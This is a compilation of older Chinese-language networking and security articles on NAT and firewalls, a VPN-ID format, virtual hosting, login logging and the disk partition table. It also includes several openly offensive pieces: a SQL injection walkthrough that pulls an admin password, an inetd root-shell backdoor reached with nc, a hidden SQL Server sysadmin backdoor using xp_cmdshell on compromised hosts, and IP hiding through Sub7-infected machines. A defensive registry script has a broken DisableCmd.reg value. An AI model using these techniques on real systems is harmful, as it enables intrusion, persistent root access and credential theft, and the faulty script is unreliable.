
deny all 127.0.0.0/8 anywhere n/a

$ /sbin/ipfwadm -O -l

IP firewall output rules, default policy: accept

$ /sbin/ipfwadm -F -l

IP firewall forward rules, default policy: deny

type prot source destination ports

acc/m all 192.168.1.0/24 anywhere n/a

"default policy" 意思是，如果封包没有受限与其他的 rule, 则 kernel 就以此预
设

值处理它。以 "Input rules" 为例，凡是来自 127.x.x.x 网域的封包完全被档在

server 之外 (deny), 而其他的封包则可以被 server 接受。原因是 127.x.x.x 是属

於 loop back 设定用的，按规定任何公开的电脑都不能将 IP 设成这个，而在此设这

个 rule 主要是预防某些粗心大意的系统管理者误设了这样的 IP, 而该电脑又试图与

我们的 server 连线。

由於 linux.phys 使用的是 Debian-2.0 系统，在 kernel 起动 IP-Firrewall 功能

时，系统在每次重开机後都会自动设好以上的 "Input, Output rules", 使其 defau
lt

policy 为 accept, 如此该 server 才能自由自在地对外连线、或接受外来的连线。
同

时 "Forward rules" 的 default policy 亦为 accept, 即外头的网络可以自由地经
由

本 server 连线到内部网络、反之亦然。现在要使用 IP-Masq 以连接内部的虚拟 IP

与外部的真实 IP, 我们必须改变此设定:

ipfwadm -F -p deny

(将其 default policy 设成 deny, 从此以後内外网络无法自由连线)

ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0

(将来自 192.168.1.x (内部、虚拟) 网域的封包，经由 IP-Masq (m)

传送到外部网络的任何地方 (0.0.0.0/0), 当然，在此之前我们必须

先设好第一步，让 PPP 介面接管 192.168.1.x 这个网域)

如此一来，虚拟 IP 与外头的世界就正确地建立连线了。这两行可以直接写入开机

启动档中以自动执行。

FreeBSD natd

同样的，我们先来看看第二步。重新 compile kernel 时，请将以下选项写入设定档
中

(节录自 man natd):

options IPFIREWALL

options IPDIVERT

并在 /etc/rc.conf 中写入这一行

gateway_enable=YES

以便在重开机时开启 gateway 的功能。与 Linux 最大的部同是， Linux 的 IP-Mas
q的

运作完全是在 kernel 中进行，而 FreeBSD 的 NAT 还需要跑一只 natd 的程式来运
作。

请在 /etc/services 加入一行:

natd 6668/divert # Network Address Translation socket

然後在开机时执行这个程式:

natd -interface ed0

其意义为: 所有来自虚拟 (内部) 网络的封包，经转换後经由 ed0 (ethernet) 介面
对外

传送。

第二步我们要设定 IP-Firewall rule 。在 FreeBSD 要用 ipfw 指令。使用 ipfw -
a

show 会列出目前所有的 rule:

# /sbin/ipfw -a show

01000 318 30934 allow ip from any to any via lo0

01010 0 0 deny ip from 127.0.0.0/8 to 127.0.0.0/8

06000 177084 47865019 divert 6668 ip from any to any

65000 241446 67969713 allow ip from any to any

65535 0 0 deny ip from any to any

与 Linux 的 ipfwadm 不一样，在 FreeBSD 中不特别区分 Input, Output, Forewar
d这

三项，也没有 default policy, 但它每一个 rule 都有一个号码，代表 rule 的比对
顺

序。进来的封包会按此顺序一个个地比对，一旦比对符合就按此 rule 来处理。以上
的

rule 其意义是:

01000: 允许封包经由 lo0 (loop back) 互传

01010: 拒绝 127.0.0.0/8 到 127.0.0.0/8 的封包 (作用与上述 Linux 的 rule 类
似)

06000: 使用 IP-Divert 建立虚拟与真实 IP 的连线

65000: 允许所有的封包自由流通 (如此 server 本身便能自由对外连线、接受连线
)

65535: 拒绝所有的封包

在 freebsd.phys 系统中，用的是 FreeBSD-2.2.5 作业系统，当启动 IP-Firewall之

後，除了 06000 那个 rule 以外，其他的 rule 系统每次重开机时便会帮我们自动建

立。而要使用 IP-Divert & natd, 我们必须自行建立 06000 这个 rule:

/sbin/ipfw add 06000 divert natd all from any to any

其中 06000 这个数字就决定了此 rule 在整个 rule table 的安插顺序。请注意顺序
非

常重要! 它一定要在 65000 之前，否则的话，来自虚拟 IP 的封包因为满足65000 r
ule,

系统就以此 rule 处理，而不再往下看有关 IP-Divert 的 rule, 结果是，虚拟 IP
的封

包未经处理就往外丢，连线无法正确建立，网络不通。

最後，有两点要特别强调:

a.在我们的例子中，是要建立 PPP 介面与 ethernet 介面之间的连线，这是两
个不

同的介面，因此在设定 IP-Masq 或 IP-Divert 的 rule 时，不要特别指
定介面

(如 Linux 中可以在 ipfwadm 之後加 -W <介面名> 来指定介面，而 Fr
eeBSD 中

可以在 ipfw 之後加 via <介面名> 来指定介面)，如此方能正确建立连
线。

b.在设定这些 IP-Firewall 的 rule 时，切记一定要在 server 的 console 端
进

行! 请不要从远端 telnet 到 server 上设定。原因是如果不小心设定错
误，会造

成 server 端网络完全不通，这时您唯一的做法还是只有回到 console
端解决。

除此之外，在 FreeBSD 中由於 IP-Divert 必须配合 natd 程式运作，因
此，当

natd 正在运作时，切记不要任意砍了它，否则的话可能造成 IP-Divert
找不到

natd 处理封包，而使网络整个挂掉 (当然，如果您人在 console 端，可
以很容易

地将它设回来) 。正确的做法，应该是先移除 IP-Divert 那个 rule, 然
後再砍掉

natd 。

就以上的设定方式， client 端的虚拟 IP 与网络环境便建立起来了。以下我列示其
网

路环境，以供第 4 步的设定叁考:

1. client 端可用的 IP 为 192.168.1.2 - 192.168.1.254 (192.168.1.1 已被 se
rver

端所使用)

2. client 端的 gateway 为 192.168.1.1

3. client 端的网域为 192.168.1.0

4. client 端的 netmask 为 255.255.255.0

5. client 端的 broadcast 为 192.168.1.255

6. client 端的 name server 仍然可以设成 140.112.52.5

***** 以上内容，仅供网管叁考，希望大家爱用虚拟 IP 技术 ****

Linux 部分:

1. IP-Masquerade Mini HOWTO

(linux.phys:/usr/doc/HOWTO/mini/IP-Masquerade.gz

http://www.linux.org.tw/CLDP/mini/IP-Masquerade.html)

2. Firewall HOWTO

(linux.phys:/usr/doc/HOWTO/Firewall-HOWTO.gz

http://www.linux.org.tw/CLDP/Firewall-HOWTO.html)

3. man ipfwadm

4. Kernel HOWTO

(linux.phys:/usr/doc/HOWTO/Kernel-HOWTO.gz

http://www.linux.org.tw/CLDP/Kernel-HOWTO.html)

FreeBSD 部分:

1. man natd

2. man ipfw

3. man divert

4. Configure Kernel paper

(freebsd.phys:/usr/share/doc/smm/02.config)

5. man rc.conf

网络理论与概念:

1. NET-3 HOWTO

(linux.phys:/usr/doc/HOWTO/NET-3-HOWTO.gz)

2. tcp-ip-admin.doc

(http://twcpro.phys.ntu.edu.tw/~thhsieh/personal/doc/Net/tcp-i
p-admin.doc)

3. tcp-ip-intro.doc

(http://twcpro.phys.ntu.edu.tw/~thhsieh/personal/doc/Net/tcp-i
p-intro.doc)

PPP & Modem server 建制:

1. PPP HOWTO

(linux.phys:/usr/doc/HOWTO/PPP-HOWTO.gz)

2. man pppd

3. http://www.freebsd.org/tutorials/ppp/ppp.html

4. Serial HOWTO

(linux.phys:/usr/doc/HOWTO/unmaintained/Serial-HOWTO.gz)


虚拟私用网（VPN）标记

摘要

VPN可以跨越多个自治系统(AS)或服务提供商的作用。这就需要一个全局唯一的标记以确定是哪个VPN。本文提出一个全局唯一VPN标记。

1. 介绍

因为互联网及其相关设施的发展，开发基于IP的VPN也提上了日程。VPN在公用的网络设施上模拟一个私用的网络。VPN对网络服务提供者和客户都有好处。对于客户来说，他可以以相对少的成本完成对企业网，远程办公等服务。服务商也可以更有效地利用已有的设备，为客户提供更多的基于IP的服务。

实现IP VPN的方法有许多，以前的文档中定义了四种VPN：虚拟租用线路，虚拟私用路由网络，虚拟私用拨号网络和虚拟私用LAN段，近期还有许多文档提出了更新的使用。解决方法可以是基于网络的也可以是基于用户的。基于网络的解决方法提供在第二层和第二层的连接和服务，涉及到实现的设备是用户前提设备（Customer Premises Equipment，CPE）服务提供边缘（Service Provider Edge）设备，服务提供商核心设备（Service Provider Core）或是这些设备的组合。虽然VPN实现方法各有不同，但有两点共识：VPN是私用的，它可以使用私有的地址空间，这一空间可能和别的VPN空间重合，或与公共Internet的地址空间重合。VPN可以跨越多个自治系统或服务提供商。第一点说明VPN中的IP地址只在这个VPN中存在，因此必须有机制能够说明这个IP是哪一个VPN的。第二点说明一个VPN可以以不同的连接和服务实现。不同的服务提供商可以基于他们的经验提供不同的设备和服务，所以有必要在网络各层使用统一的标记。

2. 全局VPN标记

VPN-ID的作用是标记一个VPN。它的使用方法视实现不同而不同。例如，VPN-ID可以包括：

- 在一个MIB中设置VPN的属性，或指定特定VPN的物理或逻辑访问接口。

- 在控制或数据包中，标记IP地址属于哪一个VPN，以及此数据属于哪一个VPN。

需要能够以数据包确定相关的VPN。VPN-ID可以用于确定这种相互关系，无论是显式的还是隐式的。VPN标记还有另外一个重要功能，它还要能够定义VPN责任方，即谁负责组织连接和服务。VPN责任方可以是私用网络管理员或主要的服务提供商。它负责申请一些附加的功能和服务，还需要协调不同服务商，进行日常管理等事务。对于VPN标记来说，不能建立在它是一个共享网络的基础上，同时也不好完全禁止使用共享网络的一些特征。对于VPN来说，它在网络的不同层看起来应该是一致的。VPN-ID格式的值在两层都应该存在。

3. 全局VPN标记格式要求

具体要求如下：

- 在不同服务提供商下提供全局唯一的VPN标记；

- 为在第二层VPN中使用允许非IP依赖VPN-ID；

- 在VPN标记中定义VPN责任人。

4. 全局VPN格式

3字节VPN责任人OUI（Organizationally Unique Identifier），后面是根据OUI而来的VPN索引。

VPN OUI (MSB)

VPN OUI

VPN OUI (LSB)

VPN Index (MSB)

VPN Index

VPN Index

VPN Index (LSB)

VPN OUI定义了VPN责任人。VPN责任人成为VPN的主要管理者，它可以是VPN所属的公司或为VPN提供服务的服务商。第4个字节定义了由VPN责任人提供的特定VPN服务。

5. 安全

本文只说明了全局VPN标记的，而未说明它的使用。对它的错误配置和仿造将导致系统的安全问题。


虚拟主机(Web/Mail)的设定

由於市场竞争以及不是每个人都能方便的24小时连接 Internet, 目前几乎
各个 ISP 都「出卖虚拟主机」, 且「售价不低」, 这个看似「略有」难度的
工作若用一台 Intel_Based_PC 来做的话, (除专线费用外)其实是很低成本,
或许几个人合租一条中、低速度的专线(看实际需要吧！), 再用 Linux 来当
工作平台, 就可以省下一笔不小的开销了！底下以一台
跑 Linux 的 PC + Apache + sendmail + bind
来说明。

* * * * * *

所谓「虚拟主机」主要是指「虚拟 Web Server」, 但光是这个还不算完整,
於是还要有个「虚拟 Mail Server」来搭配, 而这两者同时必需仰赖「真实
DNS server」才能构成整套的「虚拟」动作.

当然, 各个 domain name 要正式在 twnic 或 internic 或 alternic 或其
它国家的主管单位注册过才能生效.

还有, 以下设定算是重点摘要, 最好事先对基本的 Apache、named、sendmail
有一些了解, 才能避开执行的可能的问题.

* * * * * *

Apache 大概是目前用来当「虚拟 Web 主机」的最热门 daemon, 说明如下:

设定好它可以接受哪些 domain name 的呼叫, 一遇到 browser 端向它要求
某个 domain name 时, 它就会去抓相对的 directory 下的档案丢给 browser

假设除了「真实公司」外, 另有 aaa、bbb、ccc 三家公司及团体共用这台
真实 Web server, 那麽分别建立
/home/aaa
/home/bbb
/home/ccc
当然三个目录下, 它们各有各的 index.html
/home/aaa/index.html
/home/bbb/index.html
/home/ccc/index.html

在 Apache 的 httpd.conf 尾段里设定如下:

<VirtualHost www.aaa.com.tw>
ServerAdmin john@aaa.com.tw
DocumentRoot /home/aaa
ServerName www.aaa.com.tw
ErrorLog logs/aaa-error_log
TransferLog logs/aaa-access_log
</VirtualHost>

<VirtualHost www.bbb.com.tw>
ServerAdmin peter@bbb.com.tw
DocumentRoot /home/bbb
ServerName www.bbb.com.tw
ErrorLog logs/bbb-error_log
TransferLog logs/bbb-access_log
</VirtualHost>

<VirtualHost www.ccc.org.tw>
ServerAdmin victor@ccc.org.tw
DocumentRoot /home/ccc
ServerName www.ccc.org.tw
ErrorLog logs/ccc-error_log
TransferLog logs/ccc-access_log
</VirtualHost>

在 named(以8.1.1以後版本为例) 这边:

在原有 named.conf 里加入:
zone "aaa.com.tw" in { type master; file "file1.aaa"; };
zone "bbb.com.tw" in { type master; file "file1.bbb"; };
zone "ccc.org.tw" in { type master; file "file1.ccc"; };

在 /etc/named/file1.aaa 则是:
@ IN SOA .....这些跟「原主机」内容一样.....
IN NS my_net_domain.com.tw. <--这是真实跑 bind 这台
www IN A 172.16.1.1
IN MX 0 aaa.com.tw.
aaa.com.tw. IN A 172.16.1.1
IN MX 0 aaa.com.tw.

在 /etc/named/file1.bbb 则是:
@ IN SOA .....这些跟「原主机」内容一样.....
IN NS my_net_domain.com.tw. <--这是真实跑 bind 这台
www IN A 172.16.1.1
IN MX 0 bbb.com.tw.
bbb.com.tw. IN A 172.16.1.1
IN MX 0 bbb.com.tw.

在 /etc/named/file1.ccc 则是:
@ IN SOA .....这些跟「原主机」内容一样.....
IN NS my_net_domain.com.tw. <--这是真实跑 bind 这台
www IN A 172.16.1.1
IN MX 0 ccc.org.tw.
ccc.org.tw. IN A 172.16.1.1
IN MX 0 ccc.org.tw.

在 sendmail 这边:

到 /etc/sendmail.cf 里加上各个 domain name 到 Cwlocalhost 後面, 用
空白隔开各个名字:

Cwlocalhost aaa.com.tw bbb.com.tw ccc.org.tw

这就可以单一台 mail server 分别收各人的信
john@aaa.com.tw
peter@bbb.com.tw
victor@ccc.org.tw

不过先前有人提到若是同一个名字怎麽办？
clinton@aaa.com.tw
clinton@bbb.com.tw
clinton@ccc.org.tw

目前我只能以「不开同一个ID」来避开这个问题.

另外, 假如 Web Server 跟 Mail Server 是分别独立的两台, 为便例一般
user 的操作, 可以把 Web Server 的 /home/aaa 这个目录 export 出来给
Mail server 挂到 john 这个 user 的某个目录下, 例如 /home/john/www


也谈终端方式登录的日志记录

.abu.

最近看到一篇文章《分析进入Win2000后留下的足迹》，这文章里的关于纪录终端服务登录服务器日志

纪录的问题引发了几个朋友的讨论，究竟能不能纪录日志？何种情况下才能纪录日志？

顺手做了以下测试

这里先交待一下：

我的服务器名：ABUSERVER

我自己客户机名：ABUPC13

我自己客户机的IP：192.168.0.13

我登录所用的帐号：Administrator

本地安全策略里面开启：审核登录事件

测试一：

用终端服务的方式登录服务器，并正常注销退出，查看安全审核的日志记录如下：

登录成功:
用户名: Administrator
域: ABUSERVER

登录 ID: (0x0,0x1D0B52)
登录类型: 2
登录过程: User32
身份验证程序包: Negotiate
工作站名: ABUSERVER

用户注销:
用户名: Administrator
域: ABUSERVER

登录 ID: (0x0,0x1D0B52)
登录类型: 2

很奇怪吧，因为并没有看到有自己的IP或者机器名被记录下来。而且在登录时

纪录的工作站名: ABUSERVER （这不是服务器的名字嘛）

测试二：

正常登录上服务器以后，选择断开，临时中断当前会话，然后再次使用客户端连接上服务器，在安全日志里

出现了以下记录：

会话从 winstation 中断连接:
用户名: administrator
域: ABUSERVER
登录 ID: (0x0,0x1D0B52)
会话名称: Unknown
客户端名: ABUPC13
客户端地址: 192.168.0.13

会话被重新连接到 winstation:
用户名: administrator
域: ABUSERVER
登录 ID: (0x0,0x1BE7BA)
会话名称: RDP-Tcp#7
客户端名: ABUPC13
客户端地址: 192.168.0.13

这次，自己客户机名以及当时的IP都被记录下来了。

测试三：

正常连接服务器，输入错误的密码，再输入到第6次(缺省安全配置情况下）终端服务窗口关闭。

重新连接登录后，检查日志出现以下纪录：

在系统日志里：

来自客户端名 ABUPC13 的远程会话超出了所允许的失败登录最大次数。强行终止了会话。

在安全日志里：

登录失败:
原因: 用户名未知或密码错误
用户名: administrator
域: ABUSERVER
登录类型: 2
登录过程: User32
身份验证程序包: Negotiate
工作站名: ABUSERVER

到这里，我们分析了各种不同环境下登录终端服务器的日志纪录效果。

这样看来，是不是清楚了很多？呵呵

也许有朋友会奇怪为什么在第一个日志记录中，工作站名也是服务器的名称而不是我用来登录的客户机的名称。

原因是因为在以终端方式登录的时候，系统实际上是以 虚拟桌面、本地登录 的方式进行记录，自然没有对真正

用户的纪录咯。

所以总结如下：

1、当一个用户以终端方式登录服务器的时候，如果正常退出，服务器上的日志中，将不会记录你的IP，机器名。

2、当用户以终端方式登录后又发生了中断，这时候系统才会纪录客户机的IP以及机器名。

3、当密码输入错误导致连接终止时，在系统日志里会留下客户机的机器名信息。

呵呵，最后我在罗嗦一些关于被纪录下来的IP地址。

系统在纪录终端方式的客户机IP地址的时候，如果你的客户机处于一个局域网中，通过透明网关的方式访问服务器，

在服务器上留下的IP也只是你内网的IP地址，看来，单纯依靠微软的日志纪录，还是难免会有疏漏的。

解决的方法，这里就不多说了，可以参考shotgun曾经写过的关于《Win2000 Server入侵监测》一文。

.abu.

中华补天网


一步一步教你取得SQL資料庫的admin

SQL Injection/Insertion Attacks
這個漏洞相信很多人都知道,也在黑客界流傳了很久,此漏洞對於以SQL 作為資料庫的WEB
有相當的威脅性 ,目前的網站有70% 以上也都含有這個漏洞,其中包括一些商務網站由此可知傷害性有多大,言歸正傳ㄅ....

相信一定常看到一些http FORMs 使用query SQL server建立資料庫的網站
但不是每個人都能登入的除非妳是會員或是管理者,這時如果能夠搞到admin
的密碼那應該不錯,這也正是我們要作ㄉ!!!

在登入畫面的使用者名稱上我們試著鍵入 blah' OR '1'='1 然後回應
這時伺服器敘述:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/admin/admin.asp, line 10

伺服器錯?***因為我們嘗試使用 OR 在這個儲存程序中 ,看來存取程序並沒有順利
的進行下去,讓我們回到上一頁的登入畫面 ,這次試試鍵入

sensepost'

ODBC 又出現以下錯?*** :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string 'sensepost' AND Password=''.
/admin/admin.asp, line 13

'80040e14' 似乎是個字符catch-all/bad 的錯?***訊息,有趣的是錯?***訊息中暴露
出 SQL 查詢表格中的一個查詢欄位名

這次我們依據這個欄位名重新再來一次,這次我們鍵入:

sensepost' group by (password)--

(password)這個欄位名是我們之前所獲得ㄉ...@@
這次 ODBC 錯?***返回 :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/admin/admin.asp, line 13

這次錯?***訊息給了我們表格名 'Admin' 和另一個欄位名 'Userid'
我們需要知道有多少的欄位在這個表格中,so we go back to our login screen and try :

sensepost' union select userid from Admin--

ODBC 錯?***訊息 :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/admin/admin.asp, line 13

伺服器說明我們使用的UNION運算子沒有符合Admin Table 中的正確欄位編號
We go back to the login and try :

sensepost' union select userid,userid from Admin--

這次的返回訊息怎麼還是與上面一樣,沒關西我們繼續增加欄名直到ODBC error
message stops.(這個例子中,一直增加到如以下才成功login)

sensepost' union select userid,userid,userid,userid,userid from Admin--

這次出現的error message變成:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'superAdmin' to a column of data type int.
/admin/admin.asp, line 13

SQL試著去執行我們其中的一個欄位"userid"的請求,server返回表格中的第一個
userid的值,通常第一個user都是 admin 喔.下一步當然是得到她的密碼囉..

sensepost' union select password,password,password,password,password
from Admin--

訊息返回:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'h1dd3n' to a column of data type int.
/admin/admin.asp, line 13

這樣我們就獲得了一個有效的身分 username "superadmin" & password "h1dd3n" 而且還是管理者的身分
此部份不包含全部網站的應用所以還是需要自己去多方嘗試一下ㄉ.
終於寫完了,手都酸ㄌ.

#相關的文章http://www.sandflee.net/txt/list.asp?id=149
#有些網站會作特殊字元及輸入長度的限制,這個部份就靠各位的想像力去解決ㄌ,這裡就不作解說了


一个IP地址建立多个独立的web站点二之主机头名法

一个IP地址建立多个独立的web站点二之主机头名法
说明：
文章来源：中文NT资源网[http://www.AboutNT.com]
版权信息：原创、编译的文章版权归本站所有，如有引用请与中文NT资源网[http://www.AboutNT.com]站长联系。
其它信息：中文NT资源网[http://www.AboutNT.com]为个人网站，站长沧海笑一声，Email:zhuqs@163.com

内容:

编译:沧海笑一声

由于各种原因,我们有时候需要在一个IP地址上建立多个web站点,在IIS5中,我们可能通过简单的设置达到这个目标.
在IIS中,每个 Web 站点都具有唯一的、由三个部分组成的标识，用来接收和响应请求:
(1) IP地址
(2)端口号
(3)主机头名。

在IIS中,在一个IP地址上建立多个独立的web站点,通常有两种方法,本文以以例子的形式介绍主机头法,使用这种方法可以建立起专业的虚拟主机.

环境:假设沧海公司(呵呵...)用一台win2000服务器提供虚拟主机服务,地址是192.168.1.10.在这台服务器已经安装了Internet服务即IIS5.
现在公司要求网络管理员在服务器上使用一个IP为ABCD四个公司建立独立的网站,每个网站拥有自己独立的域名.四家网站域名分别为:www.a.com,www.b.com,www.c.com和www.d.com.

通过使用主机头，站点只需一个 IP 地址即可维护多个站点。客户可以使用不同的域名访问各自的站点,根本感觉不到这些站点在同一主机上.

具体作如下:
1.在win2000服务器为四家公司建立文件夹,做为WEB站点主目录.如下: WEB站点主目录 WEB站点
d:\web\a A公司网站
d:\web\b B公司网站
d:\web\c C公司网站
d:\web\d D公司网站

2.使用WEB站点管理向导,分别四家公司建立独立的WEB站点,四者最大的不同是使用了不同的主机头名:

   A公司站点 B公司站点 C公司站点 D公司站点
IP地址 192.168.1.10
TCP端口 80
权限 读取和运行脚本
主机头名 http://www.a.com/ http://www.b.com/ http://www.c.com/ http://www.d.com/
站点主目录 d:\web\a d:\web\b d:\web\c d:\web\d

在DNS中将这四个域名注册上,均指向同一地址:192.168.1.10.这样,客户端就可以通过:

http://www.a.com访问A公司站点.
http://www.b.com访问B公司站点.
http://www.c.com访问C公司站点.
http://www.d.com访问D公司站点.
3.每个站点的主机头名可以在WEB站点建立向导中设置,它与站点的IP地址,TCP端口在同一屏上.也可能通过该站点->"属性"->"WEB站点"标签->选IP地址右边的"高级"按钮,跳出"高级多WEB站点配置"进行配置.

这种方法建立可以建立专业的虚拟主机,几乎所有使用IIS提供虚拟主机的公司都这样做的.


一个更简单的Unix后门

1、打开/etc/inetd.conf,

找到其中
#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd一行，替换如下
exec stream tcp nowait root /bin/sh sh -i

2、重启inetd

[root@ppgzdev04 /root]# ps -aux |grep inetd
root 1760 0.0 0.0 1152 516 ? S Jun 10 0:00 inetd
root 31967 0.0 0.0 1360 508 ? S 16:14 0:00 grep inetd
[root@ppgzdev04 /root]# kill -HUP 1760

以后就可以直接用NC间接到主机的512端口，得到一个rootshell.

nc ip 512


一个也许能算是加强安全的小小脚本

SqlExec, Exploits等等一般都是都是通过远程开一个Shell（我不是很懂这个概念，不知道说错没有。）来入侵的。如果我们本地禁用了Cmd（通过改注册表）,那么这些方法也就不那么好用了。但是这样做有一点不方便，我们差不多每天都要用Cmd，要是每次都手动改注册表就很烦了，我们可以通过一个小小的脚本实现：

//-------由此开始，剪下，保存为SecCmd.js---------------
var WshShell = new ActiveXObject("WScript.Shell");

WshShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD",
    0, "REG_DWORD");
//0--启用Cmd,
//1--禁用Cmd和脚本（*.cmd and *.bat only）
//2--只禁用Cmd，不禁用脚本。
WshShell.run("Cmd");
WScript.sleep(100);
//这步是必须的，要不然你打开Cmd窗口后，脚本已经把注册表改回去了，你仍然回得到"Command prompt has been disabled
    by your administrator, press any key to continue..."的错误提示，还是不能用Cmd.

WshShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD",
    1, "REG_DWORD");
//禁用Cmd和脚本
//--------------------到此结束-------------------------

这样，只有通过这个脚本才能在本机上打开Cmd。你可以试试运行完本脚本后，打开本机的Telnet服务用另一台机器登陆，就会发现不能运行Cmd。

注意：
1. 为了真正意义上加强安全性，要把远程注册表服务关闭（net stop remoteregistry）
2. 这样做会导致一些程序无法运行（好像是那些调用CreatePipe的程序），可以做个EnableCmd.reg:

--------------由此开始，剪下，保存为EnableCmd.reg-------------------
REGEDIT4

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000000
------------------------到此结束----------------------------------
在运行这些程序前导入这个注册表文件就可以了。运行完后再导入下面的DisableCmd.reg就又回到禁用Cmd的状态了。

-------------由此开始，剪下，保存为DisableCmd.reg-------------------
REGEDIT4

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000000
------------------------到此结束----------------------------------


一条新后门的制作

我们往往利用后门程序替换一个服务的办法或者更加低级一点即增加一个服务的办法来制作一条后门。这种办法对于安全意识稍强点的管理员来说是比较容易被发现的。
我想，我们经常利用sa空口令的办法来寻找肉鸡，管理员对庞大的数据库不一定比较熟悉。所以我们可以考虑在数据库中留一条后门。一般的管理员不是DBA。我们有机可乘！！！
打开肉鸡查询分析器；
首先我们增加一个用户名
dbo.sp_addlogin wotouangran;
这样就增加了一个用户叫做wotouangran;
默认的情况下这是一个空口宁，不安全啊。大家都知道。那我们怎么改口令呢？
来，进行下一步：dbo.password null,wotouangran,wotouangran;
命令的格式是：dbo.pasword 旧口令，新口令，用户名字；
现在密码就成了wotouangran了。
呵呵。现在wotouangran的权限可是不大的啊。
以上步骤等同于net user wotouangran wotouangran /add.
取得的权限一样，当然用户名是在数据库中，而不是在sam中。
现在我们只能在特定的表中查询几个数据，有个屁用。别急！
好的，让我们来提升他的权限
dbo.sp_addsrvrolemember wotouangran,sysadmin;
现在我们成了管理员了。
可以执行xp_cmdshell了。
打开你的sql的查询分析器。连上他的数据库，建立一个用户。
执行exec dbo.xp_cmdshell "net user wotouangran /add"
返回信息为
1?;;?;;?;; ?;; ?;;?;;?;;?;;?;;?;;.
2NULL
哈哈，知道了吧。上面的一行是马塞克了。先声明不是我弄的：我怕看片的人揍我啊。！
这可能因为我用的是日本鸡的缘故吧。
后面的net localgroup administrators wotouangran /add就不要我说了吧。

如果你没有sql。用sqlexec一样的效果。
呵呵；
好了。。
可是管理员的sa为空你又不能改他，怎么办？
删掉xp_cmdshell;
sp_dropextendedproc "xpcmdshell";
要用的时候再用sp_addextendedproc "xp_cmdshell","xpsql70.dll"或者sp_addextendedproc "xp_cmdshell","xplog70.dll".给他装上。
不过此时需要你安装了sql。当然你可以通过另外的一台肉鸡上去操作啊。
好了。
到此打止。我高昂的头已经低下来了。


隐藏IP的方法

在这里我就说说几种可以隐藏IP的方法吧。
第一种就是使用代理了，相信这一种方法大家都是很熟悉的，不过并不是所有的代理都是不将你真正的IP向目标地址上发送的，如果你使用A4proxy那个程序检测一些代理的话，发现http-ip-forward那里是存在的话，那证明这类型的代理是会将你的真正IP亦向目标地址发去的，在一些聊天室中有的人使用了这类型的代理的话，一样亦被高级别的看到真正IP的。在代理中就有http和socks代理，而socks代理中亦分有sock4和socks5代理，socks4和socks5不同之处在于socks5支持udp这种协议，但socks4是不支持的，所以在oicq上是不可以使用Socks4代理的，因为oicq使用的协议是udp的，但在icq上就可以使用Socks4或socks5代理的。免费的代理一般只能用上一段时间的，所以一般隔一段时间就要去找的了。

第二种是使用木马的方法：
在国外的一些木马上，是有一个叫端口转向的功能的，如果你想看一个www.abc.com这个网页的话，而且这个网页会记录访问的人的IP的话，你可以先连接到那个感染了木马的IP上(假设这人感染的是Sub7吧),我就打开Sub7客户程序，连接上那个人，使用端口转向的功能，在那个人的电脑上打开一个90的端口，凡是向这个端口进去的数据都会转向到www.abc.com这个网站的80端口去(80端口是默认的www服务的端口)。假设那个感染了sub7的IP是12.12.12.12吧，那么我只要在浏览器上输入http://12.12.12.12:90，这样我就可以看到www.abc.com这个网站的内容的了，而且那个网站记录下的访问的IP是12.12.12.12,而不是我真正的IP来的。这种方法在连接
上irc亦可以使用的，还用其它的服务亦是可以的，在icq上我就曾使用这种方法成功连接上icq的服务器，别人看到我的IP都是假的IP,至于在oicq上是否支持，我就没试过，但因为这种oicq的服务器比较慢，所以很有可能是会连接不上服务器的。

第三种就是使用一个叫snake的代理跳板程序，这个程序只可在NT或2000上执行，执行的结果是将那台电脑做成一个socks5的代理，不过一定要有admin的权限的.

在三种方法中，第一种是最常用的，不过不能肯定代理服务中是否有记录下你的IP的，而且有可能你的敏感数据会被记录下来，例如用户名和密码等等。第二种就有些限制，不是所有服务都是可以使用这种方法的，但sub7却可以在win98，nt或2000上都可以运行的，所以弹性较大。第三种方法稳定性有问题，而且只能在nt或2000上执行，还要有admin的权限，不是一般用户可以普通使用的。


硬盘分区表详解

作 者： 李家芳

硬盘主引导扇区 = 硬盘主引导记录（MBR）+ 硬盘分区表（DPT）
--------------------------------------------------------------
物理位置：0面0道1扇区（clindyer 0, side 0, sector 1)
大小： 512字节
其中：MBR 446字节（0000--01BD），DPT 64字节（01BE--01FD），结束标志2字节（55 AA）
功能：MBR通过检查DPT分区信息引导系统跳转至DBR；
读取: 使用NORTON DISKEDIT, 在OBJECT菜单中选择DRIVE——>PHYSICAL DISK-—HARD DISK,
然后, 在OBJECT菜单中选择DISK PARTITION TABLE即可读取, 并使用TOOLS菜单中的WRITE OBJECT TO 选项存入指定文件备份;
写入: 使用NORTON DISKEDIT, 在OBJECT菜单中选择DRIVE——>FLOOPY DISK, 选择备份的DPT
文件, 然后使用TOOLS菜单中的WRITE OBJECT TO——>PHYSICAL SECTOR 选项写入001
(clindyer 0, side 0, sector 1);

详解:
000H--08AH MBR启动程序(寻找开机分区)
08BH--0D9H MBR启动字符串
0DAH--1BCH 保留("0")
1BEH--1FDH 硬盘分区表
1FEH--1FFH 结束标志(55AA)

活动分区主引导扇区（DBR）
--------------------------
物理位置：1面0道1扇区（clindyer 0, side 1, sector 1)
大小： FAT16 1扇区 512字节
FAT32 3扇区 1536字节
